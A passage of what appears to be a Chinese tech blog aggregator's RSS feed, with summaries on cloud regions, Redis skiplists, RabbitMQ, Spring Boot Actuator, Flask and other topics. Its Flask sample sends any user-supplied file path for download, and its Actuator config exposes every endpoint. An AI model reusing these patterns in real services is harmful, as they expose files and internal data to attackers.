系统优势&#xA;1、实现能源的节约&#xA;智慧楼宇能源消耗监测管理系统，可以对各种能源使用情况进行在线管理，通过能耗数据分析，可及时发现能耗冗余情况，并采取措施，减少能耗的浪费情况。&#xA;2、实现能源优化&#xA;系统通过对能源数据的收集与分析，帮助楼宇企业实现能源的优化，从而达到节能的目的。&#xA;3、提高管理效率&#xA;系统能够实现能源使用情况的在线监测，使得拥有更加精细化的管理，避免出现能源浪费。&#xA;随着科技的不断发展，楼宇智慧能源消耗监测管理系统，能够为楼宇的管理与维护带来更大的利益与效益，从而降低能耗使用费用，推动能源向绿色发展。&#xA;本文由“长春市吉佳通达信息技术有限责任公司”编写，转发请注明出处。</description>
    </item>
    <item>
      <title>阿里云30个公共云地域、89个可用区、5个金融云和政务云地域</title>
      <link>https://bchobby.github.io/posts/cc3e12cd35c9b9fe7f1285011cc7b5af/</link>
      <pubDate>Thu, 28 Dec 2023 08:40:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc3e12cd35c9b9fe7f1285011cc7b5af/</guid>
      <description>阿里云基础设施目前已面向全球四大洲，公共云地域开服运营30个公共云地域、89个可用区，此外还拥有5个金融云、政务云地域，并且致力于持续的新地域规划和建设，从而更好的满足用户多样化的业务和场景需求。伴随着基础设施的加速投入和深入布局，阿里云将为广大用户享受云计算的优质体验提供坚实基础。阿里云百科aliyunbaike.com分享：&#xA;阿里云公有云地域，在阿里云CLUB中心领券 aliyun.club 专用满减优惠券。&#xA;阿里云公有云地域中国地域：张家口、乌兰察布、北京、呼和浩特、青岛、南京、武汉、成都、杭州、上海、福州、广州、河源、深圳和中国香港，其中南京、福州和武汉为本地地域。国外地域有伦敦、法兰克福、雅加达、迪拜、孟买、曼谷、吉隆坡、新加坡、雅加达、马尼拉、硅谷、弗吉尼亚。</description>
    </item>
    <item>
      <title>C# WPF上位机开发（以始为终，寻找真实的上位机需求）</title>
      <link>https://bchobby.github.io/posts/fe408c3693fe890932d29f3416bbd066/</link>
      <pubDate>Thu, 28 Dec 2023 08:29:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe408c3693fe890932d29f3416bbd066/</guid>
      <description>【 声明：版权所有，欢迎转载，请勿用于商业用途。 联系信箱：feixiaoxing @163.com】&#xA;c# wpf、qt、mfc这些上位机的需求是真实存在的，在现实中有很多应用的地方，这一点大家都很清楚。而程序员本身呢，他们比较擅长的部分，其实是实现需求，而不是发现和寻找到潜在客户的需求。但在商业社会中，寻找到客户，发掘出客户的需求，这是很重要的一个部分。找到了目标客户，满足他们的业务需求，这样也才能针对性地开发出对应的产品，实现技术人员自己的价值。今天，我们主要讨论的就是怎么去找到真实的上位机需求。&#xA;1、熟人关系 熟人一般是我们能想到的第一个方法。这些熟人包括，不限于亲戚、同学、朋友、同事，甚至是辗转找到的陌生人，这都没有关系。熟人的好处是，往往可以借助于他们拿到第一手消息。但是缺点也是明显的，由于各个人身处的行业、职位、背景各不相同，他们对于公司业务需求的理解，有很大的差别，是不是真的客观、认真、全面需要每个人去自己分析。&#xA;2、电商网站 如果我们希望了解的行业，正好在电商网站上面有成熟的产品正在出售，那是最好不过了。这个时候，比较简单的方法，就是直接去找到头部的企业、销量最好的产品。如果价格处于承受的范围之内，直接购买他们的产品，安装对应的上位机。上手使用之后，因为都是同一个专业，对于这些上位机的功能、性能、稳定性、风格、便捷性等等，很容易就得出一个快速的结论。&#xA;3、公司网站 有些上位机软件公司，他们的产品都是一些非标的产品，尤其是软件部分，客户不同，实现的软件也不通。这个时候，就需要查询到对应公司的网站上面，看看他们服务过哪些公司，有哪些方案，做出过什么产品，界面是什么样的，如果公司有一定的规模，或多或少都可以挖掘出一定的信息。&#xA;4、招聘网站 招聘网站是很多人比较容易忽视的一个地方。如果一个企业或者公司有上位机这方面的需求，加上一定的人员流动，那么它必然会定期到各大招聘网站去寻找对应的人才。这个时候，我们可以通过查找对应的招聘需求也可以发掘出一些信息。比如根据薪资、招聘条件、行业技术、技术难度等等，可以猜测出这家公司做什么业务，难度如何，上位机在其中扮演什么样的角色等等。此外，我们还可以将它和其他家公司进行对比，分析出各家擅长的地方，找出上位机的侧重点，这都是寻找真实需求的好方法。&#xA;5、展会、展览 对于成熟的产品后者商品，上面四种方法都是比较实用的。但是对于各家公司推出来的新产品、新系统，一般要到展会上面才能看到。展会具有鲜明的行业特性，这个时候同学们可以根据自己擅长的专业，到特定的展会去看看、去了解下，也是不错的一个方法。这方面的展会很多，没必要每个都去，只参加和自己本专业相关的展会就可以了。&#xA;6、其他渠道、媒介 当然现在论坛、blog、短视频等新媒体不断涌现，大家这方面也需要定时留心和留意，发掘出新的方式、方法、渠道，进一步细分市场，精准地去找到潜在的客户。</description>
    </item>
    <item>
      <title>第7.3节-中文简历制作-实习经历、工作经历</title>
      <link>https://bchobby.github.io/posts/a635c5ceb57d8002e9cdff77ae526482/</link>
      <pubDate>Thu, 28 Dec 2023 08:00:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a635c5ceb57d8002e9cdff77ae526482/</guid>
      <description>（点击即可收听）&#xA;个人的技能、工作能力可以在实际的工作中完整地展现出来，相关的工作或实习经历是直接体现求职者岗位胜任能力的模块&#xA;因此，不管是应届生还是有工作经验的求职者，招聘方在简历筛选和面试过程中最看重的往往就是他们简历中的工作经验这一模块&#xA;在一份合格的简历中，相关的实习经历或工作经历应该是篇幅最大的一个模块&#xA;对于在校生或者应届生而言，往往没有正式的工作经验，那么利用日常空闲时间或者寒暑假进入企业进行实习显得尤为重要&#xA;通过实习，不仅能够学到工作中的一些基本技能，培养职场意识，而且能够在实习过程中认清自己的性格特点和优劣势，以更好地开展职业规划。&#xA;一般而言，建议求职者在找工作前至少完成两份相关岗位的实习，这样能确保在应聘时处于优势地位&#xA;很多学生在上大学后忙着兼职赚一些生活费，比如做家教、去家电商城当促销员等，如果不是生活特别拮据，我并不建议这么做&#xA;这些工作不管对你的职业规划还是工作经验的积累都不会有很大的帮助，虽然能赚些钱，但是你也失去了更好地提升自身能力的机会。&#xA;大多数公司的实习补贴不高，甚至部分公司都没有补贴，但从长远的职业发展角度来看，这些实习经历能够让你站在一个更高的职业起点上，获得更有潜力的工作机会&#xA;对于还在读书的学生而言，时间才是最宝贵的资源，一定要把有限的时间用在长期来看最有价值的事情上&#xA;招聘最讲究的是人岗匹配，比如企业可能只需要2年工作经验的开发人员，而你可能在开发岗位已经工作了10年，那么招聘方往往会存在很多顾虑&#xA;比如工作年限长的求职者往往会有更高的薪酬预期、不愿意从事基础性工作&#xA;甚至会由于年龄比主管大而引发一些沟通问题,思维固化,往往没有刚毕业的年轻学生,好培养,可塑性强&#xA;这也告诉了我们在职场不进则退的残酷现状。&#xA;对于年龄大的求职者,在职场当中本身就不占优势,如果从事的是跟刚毕业生一样的工作&#xA;可能年龄在增长,但是技术却毫无增长,停滞&#xA;有时,需要放低姿态,谦逊一点...让企业觉得自己拥有丰富的实战经验,能够解决公司的痛点,带来价值&#xA;工作经历各要素 工作时间是实习或者工作的起止时间，细化到月份即可，一般放置在行首或者行尾，但是无论是日期居左还是日期居右，整个简历所有模块必须统一&#xA;日期居左 如果实习在3个月以上，或者每份工作时长都在3年以上，那么这既是求职者经验丰富的证明&#xA;也是求职者稳定的表现&#xA;在这种情况下，工作时间长无疑是求职者的一种优势，所以可以居左排列&#xA;日期居右 如果求职者原来所供职的公司非常有知名度，或者该公司及岗位与应聘公司及岗位相关性强，这种情况下公司和岗位才是突出的重点&#xA;此时就应该将公司和岗位放置到左边，而将日期放置到右边&#xA;在经历描述中，重点突出自己参与的实际工作及取得的成果，使经历看起来专业且丰满一些&#xA;在正式工作以后，如果在不同公司之间的工作经历&#xA;历有空档期，且空档期超过3个月，需要对此有合理的解释。&#xA;虽然无需在简历上提及，但在面试前需要提前做好准备&#xA;公司名称 如果公司品牌的知名度高于公司名称，直接写公司品牌名称即可&#xA;如果公司没有品牌名，那就直接写公司名称的全称&#xA;如果公司名称的缩写更为人所熟知，可以直接写简称，比如“中信证券股份有限公司”简称“中信证券”&#xA;那么公司名称直接写中信证券就可以了&#xA;如果公司规模比较大，可以在公司名称后加一些标注，如500强企业、A股上市公司、共享单车龙头企业等&#xA;如果公司规模比较小，可以在正文描述中突出公司的优势和岗位的优势。&#xA;公司名称的字体大小和正文保持一致，但是需要加粗&#xA;部门名称 可以根据岗位性质或者业务性质划定一个部门&#xA;例如，互联网公司一般会划分为运营部、设计部、市场部、销售部、技术部、人力资源部等&#xA;证券公司&#xA;根据业务会划分为投资银行部、交易部、风控部、固定收益部、经纪业务部等&#xA;岗位名称 岗位有两个作用：第一个是表明工作的性质，这一点和部门的作用类似，对于一些工作而言，尤其是技能导向的工作，岗位比部门更加重要，如平面设计师、Java开发工程师等；&#xA;第二个是突出岗位级别，例如设计主管、技术总监等。&#xA;可以根据部门和岗位的性质，以及所负责的具体工作内容，来“定义”一个有显著意义的职位名&#xA;做的工作大多与互联网产品设计、产品调研相关，不妨写成“产品实习生”“产品经理助理”&#xA;工作几年后，个人的工作职级通常会发生变化，这种情况下简历通常按最高职位来写，升职经历可以放在具体的工作描述中。&#xA;毕竟你找的下一份工作，职级至少会和现在平级甚至更高，所以入行初期一些基层的经历可以略去，以突出自己的管理能力或者技术实力&#xA;中文简历的整体排版上，标题的字体字号和正文内容要保持一致。如果是一行标题，公司名称、部门名称、岗位名称全部加粗，日期用常规字体&#xA;如果是两行标题，公司、部门、岗位名称都在第一行的话仍然全部加粗，部门、岗位名称放置在第二行的话则不用加粗&#xA;应届生求职者在撰写该模块内容时往往存在以下问题&#xA;（1）缺少实习经历，没有什么可以写；&#xA;（2）过往实习经历与应聘职位相关性不大，有的实习完全是为了应付学校考核；&#xA;（3）实习内容以打印、复印、跑腿等琐碎的工作为主，缺乏技术含量；&#xA;（4）虽然有大公司实习经历，但是因为缺乏好的内容描述方式，本来应该很闪亮的经历却被描述得平淡无奇&#xA;寻找实习机会是一个从校园步入社会的过程，是一个从无到有、从四处撒网到精准投递的过程&#xA;在写简历的时候,一定要用心去写的,也要用专业的词汇去描述的&#xA;把最亮眼的经历放在核心区域&#xA;第7.1节-中文简历制作-基本信息&#xA;2023-12-26&#xA;第6节-写简历的样式排版&#xA;2023-12-25&#xA;第5.6节-关于毕业找工作是从事软件好还是硬件好&#xA;2023-12-24&#xA;第5.5节-写简历遵循的基本原则-简历排版规则-一页纸规则&#xA;2023-12-23</description>
    </item>
    <item>
      <title>Redis第3讲——跳跃表详解</title>
      <link>https://bchobby.github.io/posts/1765088f7f22ef94a5602bac82566753/</link>
      <pubDate>Thu, 28 Dec 2023 08:00:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1765088f7f22ef94a5602bac82566753/</guid>
      <description>一、什么是跳跃表 跳跃表（skiplist）是一种随机化的数据结构，由William Pugh在论文《Skip lists: a probabilistic alternative to balanced trees》中提出。它通过在每个节点中维持多个指向其它节点的指针，从而达到快速访问节点的目的。&#xA;跳跃表支持O(logN)、最坏O(N)复杂度的节点查找，还可以通过顺序性操作来批量处理节点，在大部分情况下，跳跃表的效率可以和红黑树、AVL树不相上下，但跳表原理更加简单、实现起来也更简单直观。&#xA;在Redis中，跳跃表是有序集合（zSet）数据类型的实现之一，也在集群节点中用作内部数据结构，除此之外，跳跃表在Redis里面没有其它用途。&#xA;二、举个例子 是不是有点抽象？那么下面我们举个有序链表的例子对比一下，就更容易理解了。&#xA;我们先来看下有序链表：&#xA;在这个链表中，如果我们想要查找一个数，需要从头结点开始向后依次遍历和比对，直到查到为止，那么它的时间复杂度就是O(N)。&#xA;当我们想要在这个链表插入一个数，过程和查找了类似，也是从头到尾遍历，然后在合适为止再插入，时间复杂度也是O(N)。&#xA;那有什么好办法呢？如果我们将链表中每两个节点建立第一级索引，是否可以提升效率呢，如下图：&#xA;有了索引后，如果我们查询10元素，我们先从一级索引5、8、17、29中查找：&#xA;先和5比较，发现10比5大，继续向后找。8比10小，继续向后找。发现8的next指针指向17，比10大，然后下降到0层。此时第0层的next指针指向10，也就是我们要找的元素。 可以看到，同样是查找10，有序链表需要比较（2，5，7，8，10）五个元素，而建了一层索引后，仅需比较（5，8，17，10）四个元素。&#xA;有了上面经验，我们在此基础上继续建立二级...&#xA;首先和8进行比较，发现比10小，向后查找。此时next指向NULL，下降一层。此时next指针指向17，比10大，下降一层。此时next指针指向10，正是我们要找的元素。 此时只需比较（5、8、10）。&#xA;综上所述，通过将有序集合的部分节点分层，从最上层节点依次开始向后查找，如果本层的next节点大于查找值或指向NULL，则从本节开始下降一层继续向后查找，如果找到则返回，反之返回NULL。&#xA;因为我们的链表不够大，查找的元素也比较靠前，所以速度上的感知可能没那么大，但是如果是在成千上万个节点、甚至数十万、百万个节点中遍历，那么这样的数据结构就能大大提高效率，这就是跳跃表的思想。&#xA;三、跳跃表的实现 Redis的跳跃表由redis.h/zskiplistNode和redis.h/zskiplist两个结构定义，其中zskiplistNode结构用于表示跳跃表节点，而zskiplist结构则用于保存跳跃表节点的相关信息，比如节点的数量、指向表头结点和表尾系欸但的指针等，下面来分别介绍一下。&#xA;3.1 zskiplit结构 保存跳跃表节点的相关信息，比如节点的数量、指向表头结点和表尾系欸但的指针等，定义如下：&#xA;/* * 跳跃表链表结构 */ typedef struct zskiplist { // 表头节点和表尾节点 struct zskiplistNode *header, *tail; // 表中节点的数量 unsigned long length; // 表中层数最大的节点的层数 int level; } zskiplist; header：指向跳跃表的表头结点。tail：指向跳跃表的表尾结点。length：跳跃表长度，表示第0层除头节点以外的所有结点总数。level：跳跃表高度，除头节点外，其它节点层数最高的即为跳跃表高度。 ps：表头节点和其它节点的构造是一样的：表头节点也有后退指针、分值和成员对象，不过表头节点的这些属性都不会被用到。&#xA;3.2 zskiplistNode结构 表示跳跃表节点，定义如下：&#xA;typedef struct zskiplistNode { // 成员对象 robj *obj; // 分值 double score; // 后退指针 struct zskiplistNode *backward; // 层 struct zskiplistLevel { // 前进指针 struct zskiplistNode *forward; // 跨度 unsigned int span; } level[]; } zskiplistNode; 成员对象（obj）：节点的成员对象，指向一个字符串对象，而字符串对象则保存着一个SDS值。</description>
    </item>
    <item>
      <title>Koordinator 助力云原生应用性能提升：小红书混部技术实践</title>
      <link>https://bchobby.github.io/posts/d709e4b487b8c110aede7f19b7c1bb86/</link>
      <pubDate>Thu, 28 Dec 2023 01:27:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d709e4b487b8c110aede7f19b7c1bb86/</guid>
      <description>作者：宋泽辉（小红书）、张佐玮（阿里云）&#xA;编者按：&#xA;Koordinator 是一个开源项目，是基于阿里巴巴内部多年容器调度、混部实践经验孵化诞生，是行业首个生产可用、面向大规模场景的开源混部系统，致力于提升应用服务质量，优化资源使用效率。自 2022 年 4 月正式开源以来，吸引了业界众多优秀工程师的贡献参与和讨论。&#xA;小红书是 Koordinator 社区的活跃成员，自项目诞生初期就深度参与了一系列重要功能的演进。本文是基于 2023 云栖大会上关于 Koordinator 分享的实录，Koordinator 社区成员宋泽辉（小红书）、张佐玮（阿里云）为大家介绍了小红书混部技术实践以及 Koordinator 的近期规划。&#xA;背景介绍 随着小红书业务的高速发展，各类在线，离线业务对于计算资源的需求也在快速增长。与此同时，部分在线集群天均利用率水位却维持在较低水平，造成这一现象的主要原因有以下几点：&#xA;在线服务资源使用量随着终端用户的使用习惯呈现稳定的潮汐现象，夜间 CPU 利用率极低，导致集群均值 CPU 利用率较低；业务保有大量的独占资源池，资源池割裂产生大量的资源碎片，拉低 CPU 利用率；业务为了稳定性考虑，会过量囤积资源，进一步拉低 CPU 利用率。 基于以上背景，为了帮助业务降低资源使用成本，提升集群 CPU 利用率，小红书容器团队从 2022 年开始，通过规模化落地混部技术来大幅提升集群资源效能，降低业务资源成本。&#xA;技术演进 小红书混部技术演进分为以下四个阶段：&#xA;阶段一：闲置资源再利用 早期集群资源管理粗放，集群中存在大量业务独占资源池，因为资源碎片等因素存在大量低分配率的低效节点，散落在各个集群中的低效节点形成大量资源浪费。另一方面，部分基于 K8s 发布的转码类近线/离线场景，全天时段均存在大量计算资源需求。基于以上背景，容器平台通过技术手段将集群中的闲置资源收集起来，分配给转码类业务场景使用。&#xA;我们通过 virtual-kubelet 打通元数据集群与物理集群，将闲置资源汇聚起来，在元数据集群分配给转码类场景近线/离线计算服务。策略方面，二次调度器负责巡检集群所有节点，识别为低效节点后标记出来，virtual-kubelet 获取物理集群中的低效节点可用资源作为集群闲置资源二次分配给离线转码，同时二次调度器需要保证一旦在线服务有资源需求，将会立刻驱逐离线 pod 并归还资源。&#xA;阶段二：整机腾挪分时复用 搜推广等业务的独占资源池，CPU 利用率潮汐现象明显，夜间利用率极低，资源池中的单个节点往往也只部署一个大规格业务 Pod，基于以上背景，平台通过弹性能力（HPA），在凌晨业务低峰期按比例对在线业务缩容，腾挪空出整机，并将转码，训练等离线 pod 在该时段运行起来，起到利用率“填谷”的效果。&#xA;具体实施时，需要确保在线服务能在规定的时间内全部被拉起，为此，策略方面我们实现了离线提前退场，并通过调度器抢占机制兜底，确保在线服务在业务高峰期来临之前能被全量及时拉起。&#xA;阶段三：常态混部 为了降低资源碎片率，降低业务资源持有成本，平台持续推进业务大规模合池，将业务由独占池迁至平台托管的公共混部池，通过合池，资源超卖等技术手段，CPU 分配率得到有效提升，但依旧无法解决合并后的资源池夜间利用率较低等问题。另一方面，合池后的复杂混部场景下，整机腾挪分时混部离线的调度策略很难再继续实施，平台需要通过建设更为细粒度的资源管理与调度能力来实现均值利用率提升的目标，具体包含以下几点：&#xA;调度侧： 通过动态超卖技术获取可二次分配给离线的可用资源量，并抽象出离线资源视图让 K8s 调度器感知到，调度器调度离线负载到对应节点上，实现离线对节点利用率的“填谷”效果；通过负载调度，尽可能避免在线服务被调度到高负载机器，让集群中节点负载更加均衡；通过二次调度，驱逐负载热点机器上的高利用率服务，使得集群负载处于动态均衡状态。 单机侧： 支持 Qos(Quality of service) 保障策略，根据服务的 Qos 等级提供差异化的运行时资源保障能力；支持干扰检测、离线驱逐等能力，当离线对在线敏感服务产生干扰时，第一时间驱逐离线。 通过以上技术手段，可以有效保障服务混部时的稳定性，从而常态化的让在线离线工作负载混跑在节点上，实现利用率填谷效果的最大化。</description>
    </item>
    <item>
      <title>格密码基础：子格，q-ary垂直格与线性代数</title>
      <link>https://bchobby.github.io/posts/f1fb1692b50a5c8e57111a0d0998d6a5/</link>
      <pubDate>Thu, 28 Dec 2023 00:10:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1fb1692b50a5c8e57111a0d0998d6a5/</guid>
      <description>目录&#xA;一.写在前面&#xA;二.子空间垂直&#xA;2.1 理论解释&#xA;2.2 举例分析&#xA;三. 零空间&#xA;3.1 零空间与q-ary垂直格&#xA;3.2 零空间与行/列空间&#xA;四. 格密码相关&#xA;一.写在前面 格密码中的很多基础原语都来自于线性代数的基本概念，比如举几个例子：&#xA;格密码中的非满秩格------------矩阵的秩，矩阵列向量的线性独立性&#xA;格基正交化过程------------------正交矩阵的性质与变换&#xA;子格---------------------------------矩阵子空间&#xA;正交子格---------------------------正交子空间&#xA;q-ary垂直格-----------------------向量与矩阵列空间垂直&#xA;本文章将解释线性代数中的子空间，正交矩阵，零空间，矩阵的秩在格密码中的运用。&#xA;二.子空间垂直 2.1 理论解释 一个点：0维度&#xA;一条线：1维度&#xA;一个平面：2维度&#xA;一个立体图形：3维度&#xA;以此类推。。。。。&#xA;子空间垂直要求：一个子空间中的任意向量与另一子空间中的任意向量都垂直。&#xA;比如的子空间维度可以是0,1,2,3。0维的子空间只能是原点（如果选其他点的话，必然构成一条线），当然按照惯例，原点形成的0维子空间与任意子空间都垂直。&#xA;子空间垂直领域，一条线可以跟一条线垂直，一条线可以跟一个平面垂直，但注意一个平面和一个平面不可能垂直。&#xA;注意：此处与以前高中学习的平面垂直是不一样的。&#xA;举个例子：&#xA;一间教室前面的墙和侧边的墙，我们感觉是垂直的。但不符合子空间垂直的概念，你沿着角落那条线，在前面墙画一条竖线，在侧面墙画一条竖线，这两条竖线很明显平行，并不垂直。&#xA;总结以上，子空间垂直的官方定义如下：&#xA;Two subspaces V and W of the same space are orthogonal if every vector v in V is orthogonal to every vector w in W: for all v and w.&#xA;2.2 举例分析 给出两个向量，很明显这两个向量形成的子空间V为2维的平面。给出向量，很明显这一个向量形成的子空间W为一条线。</description>
    </item>
    <item>
      <title>IntelliJ IDEA [插件 MybatisX] mapper和xml间跳转</title>
      <link>https://bchobby.github.io/posts/9b418389fec11ff6e242aef5f7aceeca/</link>
      <pubDate>Thu, 28 Dec 2023 00:02:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b418389fec11ff6e242aef5f7aceeca/</guid>
      <description>文章目录 1. 安装插件2. 如何使用3. 主要功能总结 MybatisX 是一款为 IntelliJ IDEA 提供支持的 MyBatis 开发插件&#xA;它通过提供丰富的功能集，大大简化了 MyBatis XML 文件的编写、映射关系的可视化查看以及 SQL 语句的调试等操作。本文将介绍如何安装、配置和使用 IntelliJ IDEA MybatisX 插件，以及它提供的一些主要功能。&#xA;1. 安装插件 打开 IntelliJ IDEA，进入插件市场（File -&amp;gt; Setting… -&amp;gt; Plugins -&amp;gt; Marketplace）在搜索框中输入 “MybatisX”找到 MybatisX 插件并点击安装 安装完成后，点击 OK 按钮即可&#xA;2. 如何使用 打开 Mapper 接口 如：UserMapper.java&#xA;你可以看到一群小鸟图标，随便点击一个 如 insert，便可以直接调转到 xml 文件 insert 对应的 sql 处&#xA;然后再在 xml 中点击小鸟图标，便可以跳转到 Mapper 接口处&#xA;3. 主要功能 1）XML 文件智能提示&#xA;在 Mybatis XML 文件中，插件提供了智能提示功能，包括标签名、属性名等，以减少编写错误&#xA;2）SQL 语句可视化</description>
    </item>
    <item>
      <title>SpringbootActuator监控与管理</title>
      <link>https://bchobby.github.io/posts/fd0ac9470e463793385337732ad467f5/</link>
      <pubDate>Wed, 27 Dec 2023 23:54:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd0ac9470e463793385337732ad467f5/</guid>
      <description>Actuator监控与管理 准备条件 idea IntelliJ IDEA 2019.3 (Ultimate Edition)**SpringBoot &#39;**2.2.2.RELEASE’Java version 1.8 在微服务架构中，将单体系统拆分为多个独立的服务应用使得系统变得更加灵活和可扩展，但也带来了运维上的挑战。随着应用数量增多，监控和维护这些服务变得更加复杂。为了解决这些挑战，需要建立一套自动化的监控和运维机制。&#xA;在使用Spring Boot作为微服务框架时，spring-boot-starter-actuator模块提供了一系列用于监控的端点，这些端点允许获取应用程序的各种信息，并且可以通过配置和扩展实现自定义监控需求。这个模块的使用可以减少监控系统在采集应用指标时的开发工作量。&#xA;spring-boot-starter-actuator模块提供了一些常用的端点，比如：&#xA;/actuator/health：提供应用程序的健康状态信息，可以检查应用程序是否正常运行。/actuator/info：提供关于应用程序的自定义信息。/actuator/metrics：展示应用程序的各种度量指标，比如内存使用情况、线程池信息等。** /actuator/env**：展示应用程序的环境变量信息。** /actuator/beans**：展示应用程序中所有的Spring Beans信息。 此外，Spring Cloud对spring-boot-starter-actuator模块进行了扩展，以支持与微服务相关的一些功能，比如与Eureka整合时，会在/actuator/health端点中添加更多健康检查信息。&#xA;虽然spring-boot-starter-actuator提供了很多功能，但有时候也需要根据特定需求做一些扩展或定制。可以通过自定义端点、配置指标收集、拦截器等方式来满足特定的监控需求。&#xA;总的来说，spring-boot-starter-actuator模块为微服务架构提供了一套方便且强大的监控机制，能够大大简化监控系统对应用指标收集的工作，同时也提供了扩展机制，允许根据特定需求进行定制。&#xA;快速入门 spring boot项目中引入 spring-boot-starter-actuator 模块功能，只需要在pom.xml的 dependency 节点中。 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-actuator&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; application.yaml配置显示信息添加配置信息 management: endpoints: enabled: true web: base-path: /actuator exposure: include: &#34;*&#34; endpoint: health: show-details: always 重新启动应用。此时我们在控制台中可以看到如下输出&#xA;- http://localhost:8080/actuator显示所有的接口&#xA;http://localhost:8080/actuator/health显示健康检查，显示应用健康信息 官网显示的所有信息&#xA;Endpoint ID /health endpoint&#xA;http://localhost:8080/actuator/health { &#34;status&#34;: &#34;UP&#34;, &#34;components&#34;: { &#34;diskSpace&#34;: { &#34;status&#34;: &#34;UP&#34;, &#34;details&#34;: { &#34;</description>
    </item>
    <item>
      <title>深入浅出RabbitMQ：顺序消费、死信队列和延时队列</title>
      <link>https://bchobby.github.io/posts/7a733ccd53f35854e4ba44ea15bf3e51/</link>
      <pubDate>Wed, 27 Dec 2023 23:41:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a733ccd53f35854e4ba44ea15bf3e51/</guid>
      <description>大家好，我是小❤，一个漂泊江湖多年的 985 非科班程序员，曾混迹于国企、互联网大厂和创业公司的后台开发攻城狮。&#xA;1. 引言 上篇文章（应对流量高峰的利器——消息中间件）中，我们已经介绍了消息中间件的用途，主要用作：解耦、削峰、异步通信、应用解耦，并介绍了业界常用的几种消息中间件，优劣对比和使用场景。&#xA;在今天的文章中，我们来聊一聊 RabbitMQ，这是小 ❤ 在工作中用的最早的消息中间件，主要用于大量数据的异步消费。&#xA;2. RabbitMQ 2.1 核心组件 RabbitMQ 是一个开源的消息中间件，它实现了高级消息队列协议（AMQP），同时提供了各种重要组件来支持消息的生产、传输和消费。&#xA;Producer（生产者）： 生产者是消息的发送方，负责将消息发布到 RabbitMQ 服务器。消息可以包含任何内容，例如任务、日志、通知等。&#xA;Channel（信道）：消息推送与接收时使用的通道。&#xA;Exchange（交换机）： 交换机是消息的中转站，它接收来自生产者的消息并将其路由到一个或多个队列。不同类型的交换机，如 fanout，direct，topic，headers，支持不同的路由规则。&#xA;Queue（队列）： 队列是消息的缓冲区，消息在发送到消费者之前存储在队列中，消费者从队列中获取消息并进行处理。&#xA;Consumer（消费者）： 消费者是消息的接收方，它从队列中获取消息并进行处理。消费者可以是多个，它们可以在不同的应用程序或服务器上运行。&#xA;2.2 工作流程 RabbitMQ 的工作方式是基于生产者、交换机和队列之间的协作。这是一个简单的消息传递过程：&#xA;将队列与交换机绑定（Binding）起来，定义了消息的路由规则；&#xA;生产者将消息发布到交换机，交换机根据绑定规则将消息路由到一个或多个队列；&#xA;消费者从队列中获取消息并进行处理。&#xA;这种模型具有高度的灵活性，可以轻松处理大量消息，同时确保消息的可靠传递。&#xA;2.3 特性 说到消息中间件，很多人首先想到的就是 Kafka，但 RabbitMQ 也是许多金融或互联网公司构建可靠、可伸缩和高性能系统的首选。&#xA;这是为什么呢？&#xA;主要得从 RabbitMQ 的特性说起，主要有二：一个是功能强大，另一个是可靠性！&#xA;RabbitMQ 注重消息的可靠性和灵活性，适合任务排队和消息传递。而 Kafka 是分布式流式平台，注重日志存储和数据分发。&#xA;顺序消费也是可靠性的一种，RabbitMQ 可以使用单一队列或多个单一队列来确保顺序消费。&#xA;除此之外，RabbitMQ 还提供持久性队列和消息，以确保消息在 RabbitMQ 服务器宕机后不会丢失。另外，生产者可以使用发布确认机制来确认消息是否被接收。&#xA;RabbitMQ 相对 kafka 可靠性更好，数据更不易丢失，这对于一些数据敏感型的业务来说，显然更适合用前者。&#xA;并且，RabbitMQ 中原生支持死信队列，可以更好地处理未完成的业务消息，以及实现延时队列等特性，接下来我们一一介绍。&#xA;3. 保证顺序消费 RabbitMQ 提供了多个队列模型来保证消息的顺序消费。这对于某些应用程序非常重要，例如处理订单、支付和库存管理。&#xA;消息错乱消费的场景 如上图所示，有三条业务消息分别是删除、增加和修改操作，但是 Consumer 没有按顺序消费，最终存储的顺序是增加、修改和删除，就会发生数据错乱。</description>
    </item>
    <item>
      <title>flask文件夹列表前文修订版</title>
      <link>https://bchobby.github.io/posts/d34e42695aa6fdf77c92f2f9cdf4691b/</link>
      <pubDate>Wed, 27 Dec 2023 23:10:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d34e42695aa6fdf77c92f2f9cdf4691b/</guid>
      <description>书接上文：&#xA;https://blog.csdn.net/weixin_44517278/article/details/135228805&#xA;本文的代码和HTML模板已经修改了上文的问题，目前可以做到正常的上传，返回上层目录，下载&#xA;from flask import Flask, render_template, send_file, request, redirect, url_for import os app = Flask(__name__) @app.template_filter(&#39;basename&#39;) def basename_filter(value): return os.path.basename(value) @app.route(&#39;/&#39;) def index(): files, folder_names, folder_name = getfile() return render_template(&#39;index.html&#39;, files=files, folder_names=folder_names, folder_name=folder_name) @app.route(&#39;/download/&amp;lt;file_name&amp;gt;&#39;) def download_file(file_name): file_name = os.path.normpath(file_name) # 替换windows环境下出现的双斜杠 \\ 为 / return send_file(file_name, as_attachment=True) @app.route(&#39;/show_folder/&amp;lt;folder_name&amp;gt;&#39;) def show_folder(folder_name): files, folder_names, folder_name = getfile(folder_name) return render_template(&#39;index.html&#39;, files=files, folder_names=folder_names, folder_name=folder_name) # 这里是返回上一级的目录 @app.route(&#39;/return_folder/&amp;lt;folder_name&amp;gt;&#39;) def return_folder(folder_name): refolder = folder_name # 抓完全体的路径 full_path = os.</description>
    </item>
    <item>
      <title>【线性代数】通过矩阵乘法得到的线性方程组和原来的线性方程组同解吗？</title>
      <link>https://bchobby.github.io/posts/bf71720d7d5d2c478e6ddd287e130efd/</link>
      <pubDate>Wed, 27 Dec 2023 22:52:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf71720d7d5d2c478e6ddd287e130efd/</guid>
